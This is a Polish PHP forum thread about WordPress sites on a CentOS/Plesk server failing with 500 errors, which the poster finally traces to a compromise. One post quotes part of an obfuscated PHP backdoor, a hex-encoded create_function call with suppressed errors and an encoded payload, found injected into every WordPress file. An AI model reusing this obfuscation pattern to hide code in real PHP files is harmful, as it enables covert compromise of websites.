Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

 
Reply to this topicStart new topic
> wordpress - 500 Internal Server Error, padłą strona na CentOS
ksenonlogin
post 3.07.2013, 06:40:33
Post #1





Grupa: Zarejestrowani
Postów: 123
Pomógł: 3
Dołączył: 29.10.2011

Ostrzeżenie: (0%)
-----


Witam

Nie wiem co się dzieje ale na serwerze strony zaczeły od jakiegoś czasu (od wczoraj) bez powodu pokazywać komunikat: 500 Internal Server Error, i dotknęło to wszystkie strony oparte o wordpressa gdzie wcześniej działały normalnie....
Szukałem rozwiązań w internecie ale wyłącznie pliku htacces nic nie daje czy modyfikacje przy wyłączaniu modułów, a dodatkowo zanim ten komunikat się załaduje to trwa to bardzo długo...

Czekam na pomocne wskazówki
Go to the top of the page
+Quote Post
nrm
post 3.07.2013, 08:52:04
Post #2





Grupa: Zarejestrowani
Postów: 627
Pomógł: 33
Dołączył: 1.05.2005
Skąd: Katowice

Ostrzeżenie: (0%)
-----


Pomocne wskazówki są w logach apacza. Przecież my ze szklanej kuli tego nie wyczytamy.


--------------------
Go to the top of the page
+Quote Post
ksenonlogin
post 3.07.2013, 09:33:41
Post #3





Grupa: Zarejestrowani
Postów: 123
Pomógł: 3
Dołączył: 29.10.2011

Ostrzeżenie: (0%)
-----


tak, tylko że jet taki problem że jakie kol wiek logi są zapisywane na temat adresu w pliku suexec_log, a w pozostałych nie ma informacji dotyczących tych stron
niżej przykład powtarzającego się zapisu w pliku wyżej z jednej domeny

  1. [2013-07-03 10:25:57]: uid: (10016/seomail) gid: (505/505) cmd: cgi_wrapper


Ten post edytował ksenonlogin 3.07.2013, 09:34:18
Go to the top of the page
+Quote Post
nrm
post 3.07.2013, 09:50:21
Post #4





Grupa: Zarejestrowani
Postów: 627
Pomógł: 33
Dołączył: 1.05.2005
Skąd: Katowice

Ostrzeżenie: (0%)
-----


Są, są, muszą być (chyba, że masz źle to skonfigurowane ale to pewnie z automatu więc mało prawdopodobne; powinieneś mieć przynajmniej /var/log/httpd/error.log), zawsze są. E500 może być z setek różnych powodów, póki nie odczytasz z logów dlaczego to nie za bardzo jest co powiedzieć.


--------------------
Go to the top of the page
+Quote Post
ksenonlogin
post 3.07.2013, 10:01:16
Post #5





Grupa: Zarejestrowani
Postów: 123
Pomógł: 3
Dołączył: 29.10.2011

Ostrzeżenie: (0%)
-----


Oto fragment z okresu kiedy to się zaczęło pokazywać.

http://pastebin.pl/6ef0c4667bcafab5abd7169cf3b5abe3
Go to the top of the page
+Quote Post
nrm
post 3.07.2013, 10:07:35
Post #6





Grupa: Zarejestrowani
Postów: 627
Pomógł: 33
Dołączył: 1.05.2005
Skąd: Katowice

Ostrzeżenie: (0%)
-----


Jak w komunikacie, prawdopodobnie brakuje "wrappera" przez którego były odpalane pliki .php

script not found or unable to stat: /var/www/cgi-bin/cgi_wrapper/php
Warning: SuexecUserGroup directive requires SUEXEC wrapper.


--------------------
Go to the top of the page
+Quote Post
ksenonlogin
post 3.07.2013, 10:18:16
Post #7





Grupa: Zarejestrowani
Postów: 123
Pomógł: 3
Dołączył: 29.10.2011

Ostrzeżenie: (0%)
-----


w tym rzecz że mam tam plik o nazwie cgi_wrapper, ale nie działają tylko strony w worpress
Go to the top of the page
+Quote Post
nrm
post 3.07.2013, 10:25:09
Post #8





Grupa: Zarejestrowani
Postów: 627
Pomógł: 33
Dołączył: 1.05.2005
Skąd: Katowice

Ostrzeżenie: (0%)
-----


Skoro not found to not found. Wybitnie. Sprawdź konfigurację, sprawdź ścieżki.

Kod
cat /var/www/cgi-bin/cgi_wrapper/php


ps. tylko WP? Znaczy się, że każdy inny PHP się odpala?

Ten post edytował normanos 3.07.2013, 10:25:47


--------------------
Go to the top of the page
+Quote Post
ksenonlogin
post 3.07.2013, 10:38:36
Post #9





Grupa: Zarejestrowani
Postów: 123
Pomógł: 3
Dołączył: 29.10.2011

Ostrzeżenie: (0%)
-----


dokładnie, ten problem z tego co wiem jest dość popularny jednak żadne rozwiąznie nie działa, sprawdzałem htcacces i moduły i tylko WP się sypie, jednak na innym hostingu jest ok i działa, w logach jest notka która nie wiem czy niema znaczenia w tej sytuacji:
[APACHE] pobierz, plaintext
  1. [Tue Jul 02 20:18:59 2013] [notice] mod_python: Creating 4 session mutexes based on 256 max processes and 0 max threads.
[APACHE] pobierz, plaintext


Ten post edytował ksenonlogin 3.07.2013, 10:58:22
Go to the top of the page
+Quote Post
erix
post 4.07.2013, 14:32:32
Post #10





Grupa: Moderatorzy
Postów: 15 467
Pomógł: 1451
Dołączył: 25.04.2005
Skąd: Szczebrzeszyn/Rzeszów




PS. Dlaczego CGI, a nie PHP-FPM? Wydajniej i masz to, co suexec, ale bez takiego kombinowania.


--------------------

ZCE :: Pisząc PW załączaj LINK DO TEMATU i TYLKO w sprawach moderacji :: jakiś błąd - a TREŚĆ BŁĘDU? :: nie ponaglaj z odpowiedzią via PW!
Go to the top of the page
+Quote Post
nrm
post 4.07.2013, 18:00:59
Post #11





Grupa: Zarejestrowani
Postów: 627
Pomógł: 33
Dołączył: 1.05.2005
Skąd: Katowice

Ostrzeżenie: (0%)
-----


Cytat(erix @ 4.07.2013, 14:32:32 ) *
PS. Dlaczego CGI, a nie PHP-FPM? Wydajniej i masz to, co suexec, ale bez takiego kombinowania.

Dlatego, że w połączeniu z Apache nie działa to zbyt dobrze (błędy, błędy, błędy), niestety ten tandem nie nadaje się jeszcze na produkcję.

(oczywiście błędy są po stronie Apacha, a konkretnie w mod_proxy_fcgi i do dzisiaj nie są poprawione)


--------------------
Go to the top of the page
+Quote Post
ksenonlogin
post 4.07.2013, 19:59:32
Post #12





Grupa: Zarejestrowani
Postów: 123
Pomógł: 3
Dołączył: 29.10.2011

Ostrzeżenie: (0%)
-----


Działa, problem mogę powiedzieć że leży tu i tu, ponieważ coś dosłownie coś z nie wiadomo jakiej przyczyny dodało CMS-om opartym o WP ciąg zmiennej

  1. <?php $zend_framework="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; @error_reporting(0); $zend_framework("", "\x7d\73\x40\145\x76MwMzE3Kz0yOw0KIH0gICRldmExZlkyYm8wMWMwM2E3PUAkZXZhMWZZMmJvMWx6YzhpNShAJGV2YTFm
    WTJib2wxY3o4aTUoJGV2YTFmWTJi
  2. bzAxem84MTcsJGV2YTFmWTJibzAxYzAzMTcpKTsgIGlmKCRldmExZlkyYm8wMWMwM2E3PT09RkFMU0Up
    IHsNCiAkZXZhMWZZMmJvMDFjMDNhNz0kZXZhMWZZMmJvMDF6bzgxNzsNCiB9ICByZXR1cm4gJGV2YTFmW
    TJibzAxYzAzYTc7DQogfSB9DQogZnVuY3R
  3. .
  4. .
  5. .
  6. pb24gZXZhMWZZMmJhazFjVjJpcigkdmFyNikgeyAkZXZhMWZZMmIwMWx6YzhsNSA9ICJceDcwXDE2Mlx
    4NjVcMTQ3XHg1ZlwxNjJceDY1XDE2MFx4NmNcMTQxXHg2M1wxNDUiOyAkZXZhME2MiIpOw0KCX0\x4e\103\x6e\60\x3d\42\x29\51\x3b\57\x2f"
    ); ?>


powiedzcie skąd to się wzięło w wszystkich plikach i gdy udało się odnaleźć mi dawną kopię czystą bez tego bajzlu wszystko ładnie działa.
Serwer stoi na CentOS 6 + Plesk Panel i nie wiem czy kiedyś znowu to się nie powtórzy....

Ten post edytował ksenonlogin 4.07.2013, 20:00:50
Go to the top of the page
+Quote Post
nrm
post 4.07.2013, 20:29:09
Post #13





Grupa: Zarejestrowani
Postów: 627
Pomógł: 33
Dołączył: 1.05.2005
Skąd: Katowice

Ostrzeżenie: (0%)
-----


Kolego Ksenon - zostałeś klasycznie "shaczony" wink.gif Na pocieczenie powiem: nie musisz się wstydzić, nie ma dnia aby ktoś nie został "pojechany" wink.gif Chyba zacznę pisać artykuły jak zabezpieczyć swoje WPsy bo juz nie daję rady tego wszystkiego tłumaczyć ludziom od nowa wink.gif


--------------------
Go to the top of the page
+Quote Post
ksenonlogin
post 4.07.2013, 20:31:19
Post #14





Grupa: Zarejestrowani
Postów: 123
Pomógł: 3
Dołączył: 29.10.2011

Ostrzeżenie: (0%)
-----


domyślałem się, dlatego osobiście unikam WP a przetrwały tylko strony na Joomla 3.x, dobrze że miałem kopie wink.gif
Dzięki za info wink.gif
Go to the top of the page
+Quote Post

Reply to this topicStart new topic
1 Użytkowników czyta ten temat (1 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Wersja Lo-Fi Aktualny czas: 17.04.2024 - 00:32